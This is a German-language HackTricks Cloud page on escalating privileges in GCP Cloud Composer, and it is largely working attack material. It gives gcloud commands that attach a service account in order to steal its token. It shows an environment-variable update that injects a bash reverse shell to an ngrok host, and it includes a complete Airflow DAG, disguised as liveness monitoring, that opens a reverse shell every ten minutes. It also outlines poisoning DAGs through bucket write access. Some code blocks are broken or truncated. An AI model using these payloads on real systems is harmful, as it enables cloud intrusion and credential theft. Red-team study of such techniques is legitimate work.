GCP - Composer Privesc
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
composer
Mehr Informationen in:
composer.environments.create
Mit dieser Berechtigung ist es möglich, dem neu erstellten composer environment attach any service account zuzuweisen. Später könntest du execute code inside composer, um das service account token zu stehlen.
Create Composer environment with attached service account
```bash gcloud composer environments create privesc-test \ --project "${PROJECT_ID}" \ --location europe-west1 \ --service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" ```Weitere Informationen zur exploitation here.
composer.environments.update
Es ist möglich, die composer environment zu aktualisieren, zum Beispiel durch Ändern von env variables:
Update Composer environment variables for code execution
```bash # Even if it says you don't have enough permissions the update happens gcloud composer environments update \ projects/Call the API endpoint directly
PATCH /v1/projects/
{“config”: {“softwareConfig”: {“envVariables”: {“BROWSER”: “/bin/bash -c ‘bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1’ & #%s”, “PYTHONWARNINGS”: “all:0:antigravity.x:0:0”}}}}
</details>
TODO: RCE erlangen, indem neue pypi-Pakete zur Umgebung hinzugefügt werden
### DAGs herunterladen
Überprüfe den Quellcode der ausgeführten DAGs:
<details><summary>DAGs aus der Composer-Umgebung exportieren und herunterladen</summary>
```bash
mkdir /tmp/dags
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
Dags importieren
Füge den python DAG-Code in eine Datei ein und importiere ihn, indem du Folgendes ausführst:
Import malicious DAG into Composer environment
```bash # TODO: Create dag to get a rev shell gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py ```Reverse shell DAG:
Python DAG code for reverse shell
```python import airflow from airflow import DAG from airflow.operators.bash_operator import BashOperator from datetime import timedeltadefault_args = { ‘start_date’: airflow.utils.dates.days_ago(0), ‘retries’: 1, ‘retry_delay’: timedelta(minutes=5) }
dag = DAG( ‘reverse_shell’, default_args=default_args, description=‘liveness monitoring dag’, schedule_interval=‘*/10 * * * *’, max_active_runs=1, catchup=False, dagrun_timeout=timedelta(minutes=10), )
priority_weight has type int in Airflow DB, uses the maximum.
t1 = BashOperator( task_id=‘bash_rev’, bash_command=‘bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1’, dag=dag, depends_on_past=False, priority_weight=2**31 - 1, do_xcom_push=False)
</details>
### Schreibzugriff auf den Composer-Bucket
Alle Komponenten einer composer-Umgebung (DAGs, plugins und data) werden in einem GCP-Bucket gespeichert. Hat ein Angreifer Lese- und Schreibberechtigungen darauf, kann er den Bucket überwachen und **jedes Mal, wenn eine DAG erstellt oder aktualisiert wird, eine kompromittierte Version hochladen**, sodass die composer-Umgebung beim Laden aus dem Storage die kompromittierte Version erhält.
Mehr Informationen zu diesem Angriff in:
<a class="content_ref" href="gcp-storage-privesc.md"><span class="content_ref_label">GCP - Storage Privesc</span></a>
### Import Plugins
TODO: Prüfen, was durch das Hochladen von plugins kompromittiert werden kann
### Import Data
TODO: Prüfen, was durch das Hochladen von data kompromittiert werden kann
> [!TIP]
> Lerne & übe AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Lerne & übe GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Lerne & übe Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Unterstütze HackTricks</summary>
>
> - Sieh dir die [**Abonnementpläne**](https://github.com/sponsors/carlospolop) an!
> - **Tritt der** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) **oder der** [**telegram group**](https://t.me/peass) **bei oder folge uns auf** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repos** einreichst.
>
> </details>
HackTricks Cloud

